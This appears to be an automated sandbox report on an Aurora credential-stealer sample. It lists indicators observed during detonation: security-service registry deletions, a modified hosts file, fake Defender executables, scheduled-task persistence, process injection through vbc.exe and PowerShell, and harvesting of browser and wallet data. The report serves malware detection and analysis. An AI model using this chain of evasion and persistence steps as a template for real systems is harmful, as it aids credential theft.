Malware Analysis Report

2024-11-30 23:05

Sample ID 230222-jax6saca8z
Target 474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe
SHA256 474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e
Tags
aurora evasion spyware stealer
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e

Threat Level: Known bad

The file 474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe was found to be: Known bad.

Malicious Activity Summary

aurora evasion spyware stealer

Modifies security service

Suspicious use of NtCreateUserProcessOtherParentProcess

Aurora

Stops running service(s)

Blocklisted process makes network request

Downloads MZ/PE file

Drops file in Drivers directory

Uses the VBS compiler for execution

Reads user/profile data of web browsers

Loads dropped DLL

Executes dropped EXE

Accesses cryptocurrency files/wallets, possible credential harvesting

Legitimate hosting services abused for malware hosting/C2

Suspicious use of SetThreadContext

Drops file in System32 directory

Drops file in Program Files directory

Launches sc.exe

Enumerates physical storage devices

Program crash

Suspicious use of FindShellTrayWindow

Uses Task Scheduler COM API

Modifies data under HKEY_USERS

Modifies Internet Explorer settings

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Creates scheduled task(s)

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-02-22 07:28

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-02-22 07:28

Reported

2023-02-22 07:33

Platform

win7-20230220-en

Max time kernel

298s

Max time network

250s

Command Line

C:\Windows\system32\services.exe

Signatures

Aurora

stealer aurora

Modifies security service

evasion
Description Indicator Process Target
Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters C:\Windows\System32\reg.exe N/A
Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security C:\Windows\System32\reg.exe N/A

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Drops file in Drivers directory

Description Indicator Process Target
File created C:\Windows\System32\drivers\etc\hosts C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A

Stops running service(s)

evasion

Reads user/profile data of web browsers

spyware stealer

Uses the VBS compiler for execution

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Legitimate hosting services abused for malware hosting/C2

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\system32\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\LowRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\DOMStorage C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\SearchScopes C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 90f422fe9746d901 C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\GPU C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{17444DC1-B28B-11ED-88B7-F221FC82CB7E} = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007837404bb2ac374381d657b4bfd4f9e2000000000200000000001066000000010000200000001c711c8447e2f36ccf15c1e3b50eceb5603a163074bc00c23d199a8731adac20000000000e80000000020000200000008f2218c6c6a0768dbd313df233fa23661d351aaf33a743f79d82886ebc1f5b15900000003c9c506390d5e166b07303d1590250642bcb273d3c61d98e3a9d5964db1c101f065adf17a280a10e345c487e25c41650ed4f0b47399480f6677f8f4c7fe5c66c25cb717e6ed3dcec95f048ff8c565ef4de4b526d3165ab67d716ce4a6aacfa16562ffea3a22785051795e3fcb33f16f7ab6bef6704170f0984f51129248191e3a8115c6b344df1c2f1c567b95fbd3efb400000008ed6f1116144c49139960018d9f915f2e7c4ff02f5d05972cdb1cf254d276a252ee6d7d645d15b87ade77fc5a8a7e8eb78e8bf734e787d2d0f01381265635f9d C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\ C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\DomainSuggestion C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\InternetRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\DOMStorage\discord.com\NumberOfSubdomains = "1" C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000007837404bb2ac374381d657b4bfd4f9e2000000000200000000001066000000010000200000001c56c0051a29bf69bd72d6125320fcb7e5c8c65470c9fb23ec7aa373ff4e2ad0000000000e8000000002000020000000c4991d88f525540de9d18a5bce30e749d3f06515da825f84804be10503a917ae200000006354dfd32ce4de1003178597365c0193e2985004fda6ed1f7191db75b12b3f3a400000002624b81a8b19230753084450951afbd84e97b4776fe35762f540678009902211b69973f82796cf5d13e0557b0110349ad4f37c6a17ea010552ec652ce4772655 C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\MINIE\TabBandWidth = "500" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\DOMStorage\discord.com C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "383819573" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\IntelliForms C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Zoom C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "2" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\MINIE C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\IETld\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\PageSetup C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000 C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3430344531-3702557399-3004411149-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames C:\Program Files\Internet Explorer\iexplore.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 6090a7d69746d901 C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SysApp.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Windows\System32\dllhost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1136 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1136 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1136 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1136 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1136 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1136 wrote to memory of 1748 N/A C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
PID 1136 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe C:\Windows\SysWOW64\WerFault.exe
PID 1136 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe C:\Windows\SysWOW64\WerFault.exe
PID 1136 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe C:\Windows\SysWOW64\WerFault.exe
PID 1136 wrote to memory of 1696 N/A C:\Users\Admin\AppData\Local\Temp\474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e.exe C:\Windows\SysWOW64\WerFault.exe
PID 1748 wrote to memory of 1456 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 1456 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 1456 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1748 wrote to memory of 1456 N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1456 wrote to memory of 1624 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\new2.exe
PID 1456 wrote to memory of 1624 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\new2.exe
PID 1456 wrote to memory of 1624 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\new2.exe
PID 1456 wrote to memory of 1624 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\new2.exe
PID 1456 wrote to memory of 1824 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
PID 1456 wrote to memory of 1824 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
PID 1456 wrote to memory of 1824 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
PID 1456 wrote to memory of 1824 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
PID 1456 wrote to memory of 1248 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
PID 1456 wrote to memory of 1248 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
PID 1456 wrote to memory of 1248 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
PID 1456 wrote to memory of 1248 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
PID 1456 wrote to memory of 872 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SysApp.exe
PID 1456 wrote to memory of 872 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SysApp.exe
PID 1456 wrote to memory of 872 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SysApp.exe
PID 1456 wrote to memory of 872 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\SysApp.exe
PID 1624 wrote to memory of 744 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\System32\Wbem\wmic.exe
PID 1624 wrote to memory of 744 N/A C:\Users\Admin\AppData\Local\Temp\new2.exe C:\Windows\System32\Wbem\wmic.exe
